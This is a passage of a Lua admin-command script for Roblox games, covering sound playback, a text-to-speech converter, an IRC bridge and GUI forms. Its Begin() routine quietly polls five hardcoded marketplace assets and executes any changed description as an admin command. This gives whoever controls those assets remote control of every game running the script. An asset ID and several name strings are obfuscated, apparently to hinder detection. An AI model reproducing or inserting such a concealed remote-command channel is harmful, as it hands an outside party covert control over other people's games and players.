3418 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3419 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3420 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3421 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3422 if Product.Description then
3423 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3424 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3425
3426 CORE:ExecuteResource("CalculateScrollY", Description)
3427 end
3428
3429 Info.Text = [[
3430Creator: ]]..Product.Creator.Name..[[
3431Created: ]]..CreatedText..[[
3432Updated: ]]..UpdatedText..[[
3433Sold: ]]..Product.Sales..[[
3434]]
3435
3436 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3437 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3438
3439 if Product.AssetTypeId == 3 then
3440 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3441 if PlayerAdmin == true then
3442 local Playing = false
3443 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3444 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3445 if Playing == false then
3446 SOUND:PlayGlobalSound(ProductID)
3447 if Rank == "Member" and Settings.DisableAbuse == true then
3448 Interact:Destroy()
3449 end
3450 Interact.Image = "rbxassetid://67950809"
3451 Playing = true
3452 else
3453 SOUND:StopGlobalSound()
3454 Interact.Image = "rbxassetid://67950784"
3455 Playing = false
3456 end
3457 end)
3458 end
3459 end
3460
3461 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3462 if BuyPressFunc then
3463 BuyPressFunc()
3464 elseif Product.AssetTypeId == 9 then
3465 Server.TS:Teleport(ProductID, Player)
3466 elseif CanBuy == true then
3467 Server.MPS:PromptPurchase(Player, ProductID)
3468 end end)
3469 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3470 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3471 while wait(5) do
3472 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3473 if OldVer ~= Purchase.Updated then
3474 OldVer = Purchase.Updated
3475 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3476 end
3477 end end)()
3478end end)() end
3479
3480-- Sound functions --
3481
3482function SOUND:SyncSoundList(TellSync)
3483 if not CORE:NilPlayer(TellSync) then
3484 GUI:SendHint(TellSync, "Syncing...", 5)
3485 end
3486
3487 SoundList,GlobalSoundList = {},{}
3488
3489 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3490
3491 if LocalSoundList then
3492 if type(LocalSoundList) == "table" then
3493 if #LocalSoundList > 0 then
3494 for _,Data in pairs(LocalSoundList) do
3495 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3496 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3497 end
3498 end
3499 end
3500 end
3501
3502 for _,JSONID in pairs(SoundJSONs) do
3503 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3504 local SoundInfo = MARKET:GetItemInfo(ID, true)
3505 local FullName = SoundInfo.Name
3506 local CreatorName = SoundInfo.Creator.Name
3507 SoundList[Name] = {ID, FullName, CreatorName}
3508 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3509 end
3510 end
3511
3512 if not CORE:NilPlayer(TellSync) then
3513 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3514 end
3515end
3516
3517function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3518 if not Volume then Volume = 0.5 end
3519 if not Pitch then Pitch = 1 end
3520 if tonumber(ID) then ID = "rbxassetid://"..ID end
3521 if Looped == nil then Looped = false end
3522
3523 local Sound = Instance.new("Sound", Parent)
3524 Sound.Pitch = Pitch
3525 Sound.Volume = Volume
3526 Sound.SoundId = ID
3527 Sound.Looped = Looped
3528 return Sound
3529end
3530
3531function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3532 if not Player or not ID then return nil end
3533 if NotifySounds[ID] then ID = NotifySounds[ID] end
3534 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3535 if Settings.EnableSounds or OverrideSettings then
3536 coroutine.wrap(function()
3537 wait()
3538 ClientSound:Play()
3539 Delay(5, function() ClientSound:Destroy() end)
3540 end)()
3541 end
3542 return Sound
3543end
3544
3545function SOUND:BindButton(Button)
3546 if not Button then return end
3547 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3548 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3549end
3550
3551function SOUND:StopGlobalSound()
3552 if Sound and Sound.Parent then
3553 if Sound.Parent.Name == "M".."M".."L'S Admin Sound" then
3554 Sound.Parent:Destroy()
3555 end
3556
3557 Sound:Stop()
3558 Sound:Destroy()
3559 Sound.SoundId = ""
3560 end
3561end
3562
3563function SOUND:PlayGlobalSound(ID, ShowInfo)
3564 SOUND:StopGlobalSound()
3565 if ShowInfo == nil then ShowInfo = true end
3566 local SoundID = ID
3567 local SoundName = nil
3568 local SoundCreator = nil
3569 local Pitch = 1
3570
3571 for Name,Info in pairs(SoundList) do
3572 if type(SoundID) == "string" then
3573 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3574 SoundID = Info[1]
3575 SoundName = Info[2]
3576 SoundCreator = Info[3]
3577 end
3578 else
3579 break
3580 end
3581 end
3582
3583 if tonumber(SoundID) and not SoundName then
3584 local Info = MARKET:GetItemInfo(SoundID, true)
3585 if Info then
3586 SoundName = Info.Name
3587 SoundCreator = Info.Creator.Name
3588 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3589 SoundID = nil
3590 end
3591 end
3592 end
3593
3594 if tonumber(SoundID) then
3595 if SoundID == 131201443 then Pitch = -1 end
3596 if SoundID == 130775695 then Pitch = 0.8 end
3597 if SoundID == 144035866 then Pitch = 0.8 end
3598
3599 local SoundParent = Server.Workspace
3600 if IsSB then
3601 SoundParent = Instance.new("Script", Workspace)
3602 SoundParent.Name = "M".."ML'S Admin Sound"
3603 end
3604 Sound = SOUND:MakeSound(SoundParent, SoundID, 1, Pitch, true)
3605 Sound.Name = "MML's Admin Sound "..SoundID
3606 Sound:Play()
3607 if ShowInfo == true then
3608 for _,Player in pairs(Server.Players:GetPlayers()) do
3609 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 15, Sound)
3610 end
3611 end
3612 SoundInfo = {["ID"] = SoundID, ["Name"] = SoundName, ["Creator"] = SoundCreator}
3613 end
3614end
3615
3616function SOUND:ConvertText(Text)
3617 Text = string.lower(tostring(Text))
3618 local Letters = {}
3619 local IDs = {}
3620 for Rule,Replace in pairs(TextConverter.Pronounce) do
3621 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3622 end
3623 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3624 local Start, End = string.find(Text, string.lower(Rule))
3625
3626 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3627 Text = string.gsub(Text, string.lower(Rule), Replace)
3628 end
3629 end
3630 for i = 1,#Text do
3631 table.insert(Letters, string.sub(Text,i,i))
3632 end
3633 for Num = 1,#Letters do
3634 if not Letters[Num] then break end
3635 local Letter = Letters[Num]
3636
3637 local function AddLetter()
3638 table.insert(IDs, TextConverter.LetterSounds[Letter])
3639 end
3640
3641 if Letter ~= "~" then
3642 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
3643 table.insert(IDs, TextConverter.LetterSounds["oo"])
3644 table.remove(Letters, Num + 1)
3645 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ou" then -- soup
3646 table.insert(IDs, TextConverter.LetterSounds["oo"])
3647 table.remove(Letters, Num + 1)
3648 elseif Letters[Num+1] and Letter..Letters[Num+1] == "th" then -- this
3649 table.insert(IDs, TextConverter.LetterSounds["th"])
3650 table.remove(Letters, Num + 1)
3651 elseif Letters[Num+1] and Letter..Letters[Num+1] == "sh" then -- shut
3652 table.insert(IDs, TextConverter.LetterSounds["sh"])
3653 table.remove(Letters, Num + 1)
3654 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ee" then -- flee
3655 table.insert(IDs, TextConverter.LongVowels["e"])
3656 table.remove(Letters, Num + 1)
3657 elseif Letters[Num+1] and Letter..Letters[Num+1] == "wh" then -- what
3658 table.insert(IDs, TextConverter.LetterSounds["wh"])
3659 table.remove(Letters, Num + 1)
3660 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3661 table.insert(IDs, TextConverter.LetterSounds["ch"])
3662 table.remove(Letters, Num + 1)
3663 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3664 table.insert(IDs, TextConverter.LetterSounds["f"])
3665 table.remove(Letters, Num + 1)
3666 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3667 table.insert(IDs, TextConverter.LetterSounds[Num])
3668 Letters[Num + 1] = "j"
3669 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3670 table.insert(IDs, TextConverter.LetterSounds["oo"])
3671 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3672 table.insert(IDs, TextConverter.LongVowels["e"])
3673 table.remove(Letters, Num + 1)
3674 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3675 table.insert(IDs, TextConverter.LongVowels["e"])
3676 table.remove(Letters, Num + 1)
3677 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3678 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3679 table.insert(IDs, TextConverter.LetterSounds["s"])
3680 Letters[Num + 1] = "~"
3681 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3682 table.insert(IDs, TextConverter.LongVowels[Letter])
3683 Letters[Num + 2] = "~"
3684 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3685 table.insert(IDs, TextConverter.LongVowels["i"])
3686 Letters[Num + 1] = "~"
3687 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3688 table.insert(IDs, TextConverter.LongVowels["o"])
3689 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3690 table.insert(IDs, TextConverter.LongVowels["i"])
3691 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3692 AddLetter()
3693 table.remove(Letters, Num + 1)
3694 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3695 Letters[Num] = "~"
3696 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3697 AddLetter()
3698 table.remove(Letters, Num + 1)
3699 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3700 AddLetter()
3701 table.remove(Letters, Num + 1)
3702 elseif Letters[Num+1] == Letter then
3703 table.remove(Letters, Num)
3704 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3705 AddLetter()
3706 table.remove(Letters, Num)
3707 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3708 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3709 elseif TextConverter.LetterSounds[Letter] then
3710 AddLetter()
3711 elseif STRING:IsSpacer(Letter) then
3712 table.insert(IDs, "Rest")
3713 end
3714 end
3715 end
3716
3717 return IDs
3718end
3719
3720function SOUND:StopSpeaking() coroutine.wrap(function()
3721 NoSpeak = true
3722 wait(1)
3723 NoSpeak = false
3724 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3725 if Obj.Name == "M".."M".."L Speak Sound" then
3726 Obj:Destroy()
3727 end
3728 end
3729end)() end
3730
3731function SOUND:SayConvertedText(IDs, Parent)
3732 if not Parent then Parent = Server.Workspace end
3733 local Sounds = {}
3734 for _,Data in pairs(IDs) do
3735 if NoSpeak and Parent == Server.Workspace then
3736 break
3737 end
3738 local Length = 0.3
3739 if Data ~= "Rest" then
3740 local ID = Data[1]
3741 Length = Data[2]
3742
3743 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3744 Sound.Name = "MML Speak Sound"
3745 table.insert(Sounds, Sound)
3746 Sound:Play()
3747 if Length then
3748 coroutine.wrap(function()
3749 wait(Length)
3750 Sound:Stop()
3751 end)()
3752 end
3753 end
3754 if not Length then Length = 0.3 end
3755 wait(Length/2)
3756 end
3757 coroutine.wrap(function()
3758 wait(1)
3759 for _,Sound in pairs(Sounds) do
3760 Sound:Destroy()
3761 end
3762 end)()
3763end
3764
3765local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3766
3767function SOUND:BeepPlayer(Player)
3768 if Player:FindFirstChild("PlayerGui") then
3769 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3770 Beep.Name = "Annoy"
3771 Beep:Play()
3772 end
3773end
3774
3775function SOUND:ClearInfo()
3776 SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
3777end
3778
3779-- IRC functions --
3780
3781function IRC:GenerateName()
3782 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3783end
3784
3785function IRC:AddChat(Name, Data, IsError)
3786 if not IsError then IsError = false end
3787 CORE:Log(IRC.Logs, Name, Data)
3788 table.insert(IRC.Chats, {Name, Data, IsError})
3789 IRC.MessageAdded:Fire(Name, Data, IsError)
3790end
3791
3792function IRC:Post(URL,Data)
3793 if Data and Data ~= "" then
3794 local Suc,Resp = ypcall(function()
3795 return Server.HS:PostAsync(
3796 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3797 Data,
3798 Enum.HttpContentType.ApplicationUrlEncoded
3799 )
3800 end)
3801 if not Suc then
3802 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3803 return false
3804 end
3805 IRC.SessionCounter = IRC.SessionCounter + 1
3806 return Resp
3807 else
3808 IRC:AddChat("[ CLIENT ]", "Unknown error")
3809 end
3810end
3811
3812function IRC:Send(Data)
3813 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3814end
3815
3816function IRC:GetData()
3817 return IRC:Post("s","&s="..IRC.SessionID)
3818end
3819
3820function IRC:Connect()
3821 return IRC:Post("n","&nick="..IRC.NickName)
3822end
3823
3824function IRC:Join(Channel)
3825 if not Channel then
3826 AddChat("[ CLIENT ]", "No channel specified!")
3827 return false
3828 else
3829 local Channel = string.lower(Channel)
3830 if string.sub(Channel,1,1) ~= "#" then
3831 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3832 return false
3833 end
3834 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3835 IRC:Send("JOIN "..Channel)
3836 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3837 return true
3838 end
3839end
3840
3841function IRC:Pong(Data)
3842 return IRC:Send("PONG :"..Data)
3843end
3844
3845function IRC:Quit(Reason)
3846 IRC.Stop = true
3847 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3848end
3849
3850function IRC:ReceiveData()
3851 IRC.Stop = false
3852 local Data = IRC:GetData()
3853 if Data then
3854 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3855 end
3856 while Data and not Stop do
3857 local Data = IRC:GetData()
3858 if Data and #Data > 0 then
3859 IRC:HandleResponse(REMOTE:Decode(Data))
3860 end
3861 wait(2) -- Don't spam the server
3862 end
3863 if not Data then
3864 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3865 end
3866 if Stop == true then
3867 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3868 end
3869end
3870
3871function IRC:ConnectToServer(Server)
3872 if Connected then
3873 if not IRC.Servers[Server] then
3874 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3875 return false
3876 end
3877 IRC:Quit("New Connection")
3878 end
3879 local Response = IRC:Connect()
3880 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3881 local Data = REMOTE:Decode(Response)
3882 IRC.SessionID = Data[2]
3883 wait(1)
3884 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3885 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3886 IRC:Quit()
3887 IRC:ConnectToServer(Server)
3888 end
3889 IRC.Connected = true
3890 IRC:Join(Settings.IRCChannel)
3891 IRC:ReceiveData()
3892 IRC.Connected = false
3893 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3894end
3895
3896function IRC:FindUser(UserName)
3897 for UserID,User in pairs(IRC.Users) do
3898 if string.lower(User) == string.lower(UserName) then
3899 return UserID
3900 end
3901 end
3902 return nil
3903end
3904
3905function IRC:HandleResponse(Data)
3906 if type(Data) ~= "table" then
3907 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3908 ypcall(function()
3909 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3910 end)
3911 return false
3912 end
3913 for _,Output in pairs(Data) do
3914 if type(Output) == "table" and Output[2] then
3915 local ID = string.upper(Output[2])
3916 if not IRC.Ignore[ID] then
3917 if ID == "PING" then
3918 IRC:Pong(Output[4][1])
3919 elseif ID == "PRIVMSG" then
3920 local SenderDetails = Output[3]
3921 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3922 local Channel = string.lower(Output[4][1])
3923 if Channel == IRC.NickName then
3924 Channel = Sender
3925 -- TODO: Handle PM's
3926 end
3927 local Message = Output[4][2]
3928 if Message ~= nil then
3929 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3930 if string.find(Message,":") then
3931 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3932 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3933 IRC:AddChat(IRCUser, IRCMessage)
3934 end
3935 else
3936 IRC:AddChat("[ IRC ] "..Sender,Message)
3937 for _,Name in pairs(Settings.IRCCommandExecuters) do
3938 if string.lower(Name) == string.lower(Sender) then
3939 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3940 break
3941 end
3942 end
3943 end
3944 else
3945 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3946 end
3947 elseif ID == "NICK" then
3948 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3949 -- change nickname?
3950 elseif ID == "433" or ID == "451" then
3951 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3952 IRC:Quit("Nickname in use, rejoining with new name")
3953 IRC.NickName = IRC:GenerateName()
3954 wait(2) -- wait for old sessions to end
3955 IRC:ConnectToServer(Settings.IRCServer)
3956 elseif ID == "353" then
3957 if Data[4][4][4] then
3958 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3959 table.insert(IRC.Users, Output)
3960 end
3961 end
3962 elseif ID == "QUIT" or ID == "PART" then
3963 for User in string.gmatch(Data[1][3], "[^!~]+") do
3964 if IRC:FindUser(User) then
3965 IRC:AddChat("[ IRC ]", User.." has left")
3966 table.remove(IRC.Users, IRC:FindUser(User))
3967 end
3968 end
3969 elseif ID == "JOIN" then
3970 for User in string.gmatch(Data[1][3], "[^!~]+") do
3971 if not string.find(User, "qwebirc") then
3972 IRC:AddChat("[ IRC ]", User.." has joined")
3973 table.insert(IRC.Users,w)
3974 end
3975 end
3976 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3977 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3978 --IRC:Quit("Connection lost")
3979 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3980 --IRC:ConnectToServer(Settings.IRCServer)
3981 elseif IRC.Codes[ID] then
3982 --print(ID)
3983 --print(Data[i][4][2])
3984 --print(Data[i][4][2])
3985 elseif ID == "KICK" then
3986 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3987 IRC:Quit("Kicked from IRC")
3988 elseif ID then
3989 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3990 else
3991 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3992 end
3993 end
3994 else
3995 if Output == false then return false end -- sneeky server
3996 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3997 end
3998 end
3999end
4000
4001-- GUI functions --
4002
4003function GUI:GetColor(ColorName)
4004 if not ColorName then ColorName = Settings.ColorScheme end
4005 return Colors[string.upper(ColorName)]
4006end
4007
4008function GUI:ContrastColor(Color)
4009 if type(Color) == "string" then Color = GUI:GetColor(Color) end
4010 if not Color then Color = GUI:GetColor() end
4011 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
4012end
4013
4014
4015function GUI:GetNameColor(Name)
4016 local Val = 0
4017 for i = 1, #Name do
4018 local CVal = string.byte(string.sub(Name, i, i))
4019 local RevIndex = #Name - i + 1
4020 if #Name%2 == 1 then
4021 RevIndex = RevIndex - 1
4022 end
4023 if RevIndex%4 >= 2 then
4024 CVal = -CVal
4025 end
4026 Val = Val + CVal
4027 end
4028 local Index = Val%8 + 1
4029
4030 return BrickColor.new(ChatColors[Index])
4031end
4032
4033function GUI:Color3ToHex(Color)
4034 local function ConvertNumber(Number)
4035 local HexString = "0123456789abcdef"
4036 local Byte = ""
4037 while Number > 0 do
4038 local Calc = math.fmod(Number, 16)
4039 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
4040 Number = math.floor(Number / 16)
4041 end
4042 if Calc == "" then
4043 Byte = "00"
4044 elseif #Byte == 1 then
4045 Byte = "0"..Byte
4046 elseif Byte == "" then
4047 Byte = "00"
4048 end
4049 return Byte
4050 end
4051 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
4052end
4053
4054function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
4055 if not Player then return nil end
4056 if not Player:FindFirstChild("PlayerGui") then return nil end
4057 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
4058 if not TitleText then TitleText = "Unknown" end
4059 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
4060 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
4061 if not IconID then IconID = 19919809 end
4062 if ShowFormButtons == nil then ShowFormButtons = true end
4063 if not ColorScheme then ColorScheme = Settings.ColorScheme end
4064 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
4065 if AutoOffset == nil then AutoOffset = true end
4066 if Icons[IconID] then IconID = Icons[IconID] end
4067 if TweenPosition == nil then TweenPosition = true end
4068 if NoModal == nil then NoModal = false end
4069 if NoScrollFrame == nil then NoScrollFrame = false end
4070
4071 local IsClosed = false
4072 local Minus = nil
4073 local Offset = 0
4074 local ContentType = "ScrollingFrame"
4075 local TweenSpeed = 0.3
4076
4077 if AutoOffset then
4078 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
4079 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
4080 if Item.IsActive.Value == true then
4081 if Item.IsTrueForm.Value == true then
4082 Offset = Offset + 50
4083 end
4084 end
4085 end
4086 end
4087 end
4088
4089 if NoScrollFrame == true then
4090 ContentType = "Frame"
4091 end
4092
4093 SOUND:PlayNotification(Player, 155331654)
4094
4095 local Position = Position + UDim2.new(0,Offset,0,Offset)
4096 local MinimizePos = Position
4097
4098 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
4099 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
4100 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
4101
4102 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
4103 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
4104 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
4105 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
4106 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
4107 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
4108 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
4109 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
